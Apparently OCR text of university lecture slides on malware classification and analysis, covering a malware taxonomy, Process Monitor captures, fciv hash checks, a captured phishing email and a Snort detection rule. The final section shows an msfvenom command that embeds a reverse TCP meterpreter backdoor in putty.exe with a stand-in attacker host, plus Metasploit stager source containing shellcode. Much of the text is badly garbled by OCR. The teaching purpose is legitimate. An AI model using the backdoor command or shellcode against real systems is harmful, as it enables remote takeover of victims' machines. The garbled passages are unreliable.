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Phishing email Pirate Bay
(Flash, Java, Backdoor
PDF)
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A Backdoor  |Backdoor. An Trojan horse| | Trojan horses.

malc\)/\;are intentional Thls_lnvolves users
Classification _ system hook ' rur?nlr?? prkogr?;ns
. =" S |left open to ; which 1ook vaid,
Oy [
| ‘ - »
f"'.!'—--—'—"-—'

but install an illicit
program which will
typically do
damage to the

Ransomware host.
Ransomware.

Ransomware Exploit
involves extorting

money from

victims, such as for

access a given site

such as for pirate

software.

connect to.

Exploit. This involves using
compromising a vulnerability, such
as Application (Adobe Reader),
Operating System (Windows) or
Browser (Mozilla).

Viruses

Malevolent worms. This involves
a worm program which mutates in
a given way which will eventually
reduce the quality of service on the
network, such as using up CPU
resources or network bandwidth.

Viruses. This
involves attaching
program which self
replicate themselves.
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A is distributed by which uses a

malware ob bl
of . Distribution Dservabie System
Classification Distribution .
Method Compromise
Events

and avoids detection using and stays on
the system

Obfuscation using System
Method Persistence
Method

which can be
found with

Observable
and avoids Persistence
detection Attributes

usin
J and triggered

by

Obfuscation
Method

Trigger Event

which has

Observable

Objectives Damage Attack Method
Attack Methods

) using an
which results 9
in
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Anti-virus
signatures

Static
Analysis

- Strings from the malware
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Analysis Tools (Static Analysis)




Process Monitor - Sysinternals: www.sysinternals.com ls: www. sysinternals.com

Ho Bl Ewd Ay b Gl Gy Eile Edit Ewent Filter Tools ©Options Help

EHd ABE |  vA@ B A A5 L0M EHd ABE CAG | B &5 | (@R

Time. Process Mame PID | Operation Path Result Detail A Tz P Neme FID | Operation Path Result Detal ™

4:424... "JEuplorer EXE 1812 :ﬂﬂueryﬂpen C:\Documents and Settings\Administrat... SUCCESS CreationTir 4424 . "lsass.exe 592 @¥Reqlpernkey  HELMMSECURITYPolicy SUCCESS Desired Ac
4:424... "JEuplorer EXE 1812 rél:reatelf!le C:ADocuments and Sett!ngs\.&dm!mstrat SUCCESS Desired Ac 4424 kassexe 692 @ Feqlperkey  HKLMMSECURITY\Palic\SecDesc SUCCESS Desired &c
4:424... "JExplorer EXE 1812 rflCreateFlleM:‘-nn..C:\Documenls and Settingsh\Administrat... SUCCESS SyneType 4424, Tkass.ene 692 @ RegQuenialue HELMA\SECURITY Policp\S ecDesc\(D... BUFFER OWERFL... Length: 12
o Explorer EXE 181z rﬁﬂuer},ﬁlam:lar\:ll ..CADocuments and SettingsAdministrat... SUCCESS Allocations 4424, Tkass.eve 692 @ Feqllosekey  HKLMMSECURITY\Palicp\SecDesc SUCCESS
' Explarer EXE 1:z2 rﬁ-EreatEFﬂeMal:u:u .. E\Documents and SettingstAdministrat,.. SUCCESS SyncType 4424 " hassexe 692 @ ReqOpenkey  HKLMVSECURITY Policp\SecDesc SUCCESS Desired Ac
_JEprorer.EXE 1812 ﬂC\osaFi\e “Documents and Settings\ddministrat... SUCCESS 4424, jlsass.exe 592 @ Reqluenialue HELMYSECURITYWPolicy\SecDescMD... SUCCESS Type: REG
:Isw:hnsl Exe 1124 gﬁeadﬁ\e C:wINDOWS vspstem32wberReposi... SUCCESS Oftset: 850 4424 Slsass.eve E32 ‘Regﬁ\nseKey HELMYSECURITY Palicg\SecDesc SUCCESS
. :Isvchosl.eke 1124 B.F!eadFi\e LMD OWS Sapstem 32 wbenReposi... SUCCESS Offset: 294 4424 jlsass.exe E32 dHegE\useKey HELMYSECURITYPalicy SUCCESS
. jsvchusl.axe 1124 aﬂeadFi\e N IMDOWS \eystem32wbem' Reposi.. . SUCCESS Offzet: BOG 4424 Tlsass.ene B32 ﬂﬂegDpEnKey HELMYSECURITYPalicy SUCCESS Desired Ac
. T lavchostexe 1124 BhReadrils C:vw| NDOWS systerna2wwbernsReposi.. SUCCESS Offset: 32,7 4424, “lkass.ene 632 @¥RegOperkey  HELMASECURITYPolicphSecDesc SUCCESS Desired Ac
. Dsvchost exe 1124 BAReadFile Lo INDOWS haystem324whemFeposi... SUCCESS Offset: 2,66 4424 Tlsass.exe 692 @ RegQuenivalue HELMASECURITY\Policy\SecDesc\(D... BUFFER OVERFL.. Length: 12
Ssvehost eve 1124 BhReadFie LN NDOWS bsystem 32 wubemReposi SUCCESS Ofiset: 73 4424, Tkassene 632 @ RegClosekey  HKLM\SECURITYPolicp\SecDeso SUCCESS
. Clsvehost.exe 1124 BhReadFile CovwINDOWS vaystem32wbem'Reposi.. SUCCESS Offset: 260 4424, Tkassene 692 @fReglpenkey  HKLM\SECURITY\Polic\SecDesc  SUCCESS Desired Ac
. svchost.exe 1124 BhReadFie N IMDOWS \eystem32wbem' Reposi.. . SUCCESS Offzet: 385 4424, Tlkassene 892 @ Frenfiueyalie HKLMMSECURITY Poliey\SecDesc\(D SUCCESS Type: REG
Savchast sve 1124 BhReadril CovwINDOWS ssystemd2hwbenFeposi. SUCCESS Offset: 206 4424, kass.ene 692 @t FegClosekey HKLMASECURIT\Policy\SecDese  SUCCESS
. Psvchost.sxe 1124 BhReadFie CAwINDDWS Sspstem32ywbemiReposi.. SUCCESS Difset: 223 4424 Tlssss ere 632 @fReqCinseKey  HKLM\SECURITYPolicy SUCCESS )
. Dlsvchost.eve 1124 BAReadFile CwINDOWS bsystem32hbertFeposi, SUCCESS Dfsel, 456 4424.. Cbassene 632 @Reolperkey  HKLMASECURITY\Poliy SUCCESS Desired Ac o
= PRI — A S i e TINZAZIT s v ¥
>
Showing 18,5821 of 62,548 events (26%) Backed by virtual memory

Registry
Monitoring

Showing 3,463 of 59,034 events (5.5%) Backed by virtual memary

File Monitoring
~—® Dynamic
Analysis @ Network
/’ Monitoring

File Integrity check

C:\> fciv ¢:\ -r -type *.txt -shal -xml db.xml Process Monitoring
C:\> fciv -list -shal -xml db.xml Moo onk, Szt o phle s om

Cptions  Help

C:\> fciv -v c:\ -shal -xml db.xml wH ABE] 7288 AN 6420

Time... | Process Name PID| Dperation Path Resuk
Starting checksums verification : 01/01/2014 at 16h35'54 VLSS R
g . 4424 Souchosters 1124 &1 Thread Create SUCCESS Thiead D!
. L. . 4424 Zovchostexe 1124 &1 Thiead Creale SUCCESS Thiead ID
LISt Of m Od Ifl ed fl I es . 4424 Sovchostere 1124 &9 Thisad Create SUCCESS Thiead ID
. 4424 Zovchostere 1124 &1 Thiead Creste SUCCESS Thiead ID

4424, =evchostere 916 &7 Piocess Creale  C:WINDOWShSystem3Zuubemwmipr.. SUCCESS FID: 1980,
4424 Slmiprvse.ove 1980 &7 Process Stait SUCCESS Parert PID
4424 Swmipreseove 1980 &7 Thisad Create SUCCESS Thiead ID

. 4424 Swmiprrse.ove 1980 Q7 Loadlmage  CAWINDOWS \system32iwbembwmipiv... SUCCESS Image Bas:

C \testl ng\l txt 4424 Tlumiprese.exe 1380 &7 Load Image CoAWIND OWS spstem32vntdl dil SUCCESS Image Bas:

. . 4424 Sumiprese.cve 1980 B Loadlmage  CAWINDOWShsystem32\kemel32dl  SUCCESS Image Bas:

. 4424 Sumiprese.cve 1980 B Loadlmage  CAWINDOWShsystem32msvertdl  SUCCESS Image Bas:

Hash Is . f790baa6fb67d29a1636d b52775de04d 747 9282e 4424 Slumipresecse 1980 B Loadlmage  CAWINDDWShsystem3Zladvepiidl  SUCCESS Image Bas:

. 4424 umiprvseowe 1980 QFLoadlmage  CAWINDOWShsystem3Zupoitd.dl  SUCCESS Image Bas:

4424 umiprseowe 1980 QFLoadlmage  CAWINDOWShsystem3Zwser32dl  SUCCESS Image Bas:

It should be : 7¢3f425725d7d6c48c5243¢45049b928b0bbf0e7 i ZmmT SSSET RS WS e

4424... "Jwmiprse.exe 1380 &7 Load Image CAWIND O S hspstem 32 wibem' wbem. Image Bast o
< bd
Showing 184 of 69,622 events (0.23%) Backed by virtual memory

End Verification : 01/01/2014 at 16h35'54 Author- Prof Bill Buchanan

Analysis Tools (Dynamic Analysis)
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Reeply Reply Al Forward Frinkt Delete Previous

From: Bill

Date: Wednesday, January 01, 2014 4:18 PM
To: w,buchanan@napier  ac, uk

Subject:

attach: | Bjdq.zip (25.4 KB)

_ Follow TCP Stream

Stream Content

content-Type: multipart/alternative;
Lhoundary="----=_nextPart_00l_0004_0lcFO70C. 36A0BEED"

=_MextPart_001_0004_01CFO70C. 36A0BEED
Content-Type: text/plain
.charset="1s50-8859-1"
Content-Transfer-encoding: guoted-printakble

=_MNextPart_001_0004 01CFO7OC. 30A0EEED
content-Type: text html;
.charset="i50-8859-1"
Content-Transfer-Encoding: guoted-printable

<! DOCTYPE HTML PUBLIC “-//W3C//DTD HTML 4.0 Transitional/ /EN">
<HTML > <HEAD>

<META hTTp-equiv=3DContent-Type content=30"text/html; =
charset=30is0-8859-1">

<META content=3D"MSHTML §.00.2000.2180" name=3DGENERATOR:
<STYLE></STYLE>

</HEAD>

<BODY bgColor=3p#f s

<DIVe&nbsp; </DIVe</BODY>< HTML>

=_MNextPart_001_0004_01CFO70C. 3640BEEQ--

=_MextPart_000_0003_01CFO70C. 36A0BEED
Content-Type: application/octet-stream;
.name="dqg.zip"
content-Transfer-encoding: haseed
Content-bisposition: attachment;
.filename="dq. zip"

UESDBBQAAAATAMAN Ik NZIMT BEWT AATZZ ARAGAAAAZ HELZXN T 7DT TWBT LS QAGLIENWE SQ4wyKTUTUT
owR3Dx?cPREcEwQITpYAdeJ7u7prK929nH7r3P/9xaq77ur1‘ TWMPE 2R 507 GONALALAC CKNIWCD
B34DF,/DFgx8IkVE3IgMLCENESWDSOOTK ShaohHYOtmyOE] aERghw 3tk GERGAEDO4vyO0RECOLKIE
aGNrbPIwWComedABdE 1 TATADSAawWOk S+ O CFQAF DAANNEONBADTQZgPABGOOW, 1 r Brd3 L 0AN+GH,
AEDVLOCA/Z7 FPO3 8GN 24 2,/U3 Shagoqaazr Df et+gav ook A+ LEBE 1 SwhHxy S of pfoty/oaT+L,/1d
AFEXMDBPEP+In+ZT+UDZwWHNr 4 ChgBRyRIr+C Y Dw7 bWt TO9 W Nk BEET cMa,/PLOS Z2COCWI gBA
FrwCcegCabkdk ISHATCTPRATYrGVOCWUOWET JNTYR2ZL3 I TxaM=Cy cPEBENd bgzn9gu2 1 Tuvdr 8zP
4UDB0SEwL T XUwHL QR AR IQF Y ZH U DXef fxguPLl3B16yS73+36r01 SFRF3CP SwWysSkcs b7 zvvhmPsz
DOwEktSogalemdx<6kAsGSh1kT2 1 7K28V5+KUIZb6T 04 L cThb7PHCEXBEX ] 00] yWw3 T0IX3MELGhPGW

TImevERT ARAvEHATD R crenEAT ARS hon el AT 2 R0S A0 AancwE kT Dl vianccnh7EEAT 13 e

Entire conversation (36738 bytes)

[ Fne J[ savess [ et O ascx O EBCDIC © Hex Dump O Churays

Filter Out This Stream l [

Payload Analysis

Dynamic
Analysis

alert tcp any any -> any any
(content:"UESDBBQAAAA";
msg:"Malware";sid:10000)

C:\Snort\bin\log>type alert.ids

[**] [1:10000:0] Malware [**]

[Priority: O]

01/01-16:18:08.147386 192.168.47.146:1040
-> 192.168.47.134:25

TCP TTL:128 T0OS:0x0 ID:167 IpLen:20
DgmLen:1500 DF

wREpREEE Saq: Ox95D103A3 Ack: 0x8108851
win: OXFEEF TcpLen: 20

Author: Prof Bill Buchanan

Analysis Tools (Network Analysis)
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Mahnare

msfvenom -p windows/meterpreter/reverse_tcp
LHOST=[KALI_IP] LPORT=443 -e cmd/powershell_base64 -f exe
-i 3 -k -X putty.exe > puttyx.exe

Valid EXE

require 'msf/core'
require 'msf/core/handler/reverse_tcp'

module Metasploit3

include Msf::Payload::Stager
include Msf::Payload::Windows

def initialize(info = {})
super(merge_info(info,
‘Name' => 'Reverse TCP Stager’,
'‘Description' =>'Connect back to the attacker’,
'Author’ =>['hdm’, 'skape’, 'sf'],
'License' => MSF_LICENSE,
'Platform'  =>'win’,
'Arch’ => ARCH_X86,
'Handler' => Msf::Handler::ReverseTcp,
‘Convention' =>'sockedi’,
‘Stager =>
{
'RequiresMidstager' => false,
'Offsets' => {
# ExitFunk Offset: 222
'LHOST' =>[ 190, 'ADDR' ],
'LPORT' =>[ 197, 'n'],
'ReverseConnectRetries' =>[ 188, 'C']

2

Metasploit

Malware EXE

Malware

'Payload’ =>

"\XxF C\XE8\x82\x00\x00\x 00\x 60\x89\X E5\x31\x C0\x 64\x 8B \x50\x30\x8B" +
"\x52\x0C\x8B\x52\x 14\x8B\x 72\x 28\x OF\xB 7\x4A\x 26 \x 31\x FF\xAC\x3C" +
"\x61\x7C\x02\x2C\x20\XxC 1\XxCF\xOD\x01\xC 7\XE2\xF2\x52\x57\x8B\x 52"
"\x10\x8B\x4A\x3C\x8B\x4C\x11\x 78\XxE3\x48\x01\xD1\x51\x8B\x59\x 20"
"\x01\xD3\x8B\x49\x 18\XE 3\x3A\x49\x8B\x34\x8B\x 01\xD6\x31\x FF\xA C"
"\XC1\XCF\xOD\x01\xC 7\x 38\XEO\x 75\XF6\x 03\x 7D\x F8\x 3B \x 7D\x 24\x 75"
"\XE4\x58\x8B\x58\x24\x01\xD 3\x66\x8B\Xx0C\x4B\x8B\x58\x 1C\x01\xD 3"
"\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24\x5B\X5B\x61\x 59\Xx 5A\X51\xFF" +
"\XEO\x5F\x5F\x5A\x8B\x12\xEB\x8D\x5D\x68\x 33\x32\x00\x00\x68\x 77" +
"\x73\x32\x5F\x54\x68\x4C\x 77\x 26 \x07\x F F\xD5\x B 8\x90\x01\x00\x 00" +
"\x29\xC4\x54\x50\x 68\x29\x80\x 6B \x 00\xF F\x D5\x50\x 50\x50\x 50\x 40" +
"\x50\x40\x50\x 68\XxEA\xOF\x DF\XE0\x F F\xD5\x 97\x 6 A\x 05\x 68\x 7F\x 00" +
"\x00\x01\x68\x02\x00\x 11\x5C\Xx89\XE 6\Xx 6A\X 10\X56\x57\x68\X 99\XA5" +
"\X74\x61\xFF\xD5\x85\xC0\x 74\x 0C\xF F\x4E\x 08\x 75\XEC\x68\x FO\xB 5" +
"\xA2\x56\xF F\xD5\x6A\x00\x 6A\x04\x56\x57\x 68\x 02\xDI\XC8\X5F\xFF" +
"\xD5\x8B\x36\x6A\x40\x68\x00\x 10\x00\x 00\x56\x 6A\X00\x 68\x58\xA 4" +
"\x53\XE5\XFF\xD5\x93\x53\x6A\X 00\x56\x53\x57\x68\x02\xD9\x C8\x5F" +

Author: Prof Bill Buchanan

Malware Conversion




0010k40
0010k50
0010k6&0
001070
001020
0010490
0010kad
0010kk0
0010kcd
001040
0010ked
0010L£0
001000
001010
0010c20
0010c30
001040
001050
0010cad
0010c70
001020
0010c90
0010cald
0010ckd
0010cel
0010cd0
0010cel
0010cE0
0010400
0010410
0010420
0010430
0010440
0010450
0010d&0
0010470
0010480
0010490
0010da0

D.0.C.1.M.

j.3.Bi.j.Datt3§
vkernel32.Create
Thread. .GE@..fA.
35, ... %aldde Pog
R.<R.cr(. -Jeli-g
2., AI..CAORW<E
Lo J<eL.xBH. QY
L Oc T.8: T« 4¢ 015
AT, .CRaud. le; 5y
EY¢ K& . Ofc (K X. .4
¢ < DRDES [ [a¥YIQH
5 Z¢.2 ]h32..hy
52 ThIws.§0, J
y ATPh) k. 70PPPER
PEPh&. BaF0—T.h. B

LXh. . .ehe] . VRh™

taid At.§N.uihap
=507 . 5. Vi UE 3§
< 6j@h. ... Vj.hix
Fa§0™5] . VIWh. UE |
0. Ay Euil

werse_tcp
yowershell_base64 -f exe

Malware

'Payload’ =>
"\XFC\XE8\x82\x00\x00\x00\x 60\x89\XE5\x31\xC0\x 64\x8B\x50\x30\x8B" +
"\x52\x0C\x8B\x52\x 14\x8B\x 72\x 28\x OF\xB 7\x4A\x 26\x31\xFF\xAC\x3C" +
"\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC 7\XE2\xF2\x52\x57\x8B\x52" +
"\x10\x8B\x4A\x3C\x8B\x4C\x11\x 78\XxE3\x48\x01\xD1\x51\x8B\x59\x 20" +
"\x01\xD3\x8B\x49\x 18\XE3\x3A\x49\x8B\x34\x8B\x01\xD6\x31\xFF\XAC" +
"\XC1\XCF\xOD\x01\xC7\x38\XxE0\x 75\xF6\x03\x 7D\xF8\x 3B\x 7D\x 24\x 75" +
"\XE4\x58\x8B\x58\x24\x 01\xD3\x66\x 8B \x 0C\x4B\x8B\x58\x 1C\x01\xD3" +
"\x8B\x04\x8B\x01\xD0\x89\x44\x 24\x 24\x5B\x5B\x61\x59\x 5A\x 51 \x FF" +
"\XEO\Xx5F\Xx5F\x5A\x8B\x12\XxEB \x8D\x5D\x68\x 33\x 32\x 00\x 00\x68\x 77" +
"\x73\x32\x5F\x54\x68\x4C\x 77\x 26\x 07 \x F F\x D5\x B 8\x90\x01\x00\x 00" +
"\x29\xC4\x54\x50\x68\x29\x80\x 6B \x 00\xF F\x D5\x50\x 50\x50\x50\x 40" +
"\x50\x40\x50\x 68\XxEA\xOF\xDF\XE 0\x F F\xD5\x 97\x 6 A\x 05\x 68\x 7F\x 00" +
"\x00\x01\x68\x02\x00\x 11\x5C\x89\XE6\x 6A\Xx 10\x56\x57\x68\Xx 99\XA5" +
"\x74\x61\XF F\xD5\x85\xC0\x 74\X0C\xF F\x4E\x08\x 75\xEC\x 68\x FO\xB 5" +
"\XA2\x56\xF F\xD5\x6A\x00\x6A\x04\x56\x57\x68\x02\xD9\XC8\X 5F\xFF" +
"\xD5\x8B\x36\x6A\x40\x68\x00\x 10\x00\x 00\x56\x 6A\x 00\x 68\x 58\xA 4" +
"\x53\XE5\XxFF\xD5\x93\x53\x 6 A\x00\x56\x53\x57\x68\x 02\xD9\xC8\x5F" +

Author: Prof Bill Buchanan
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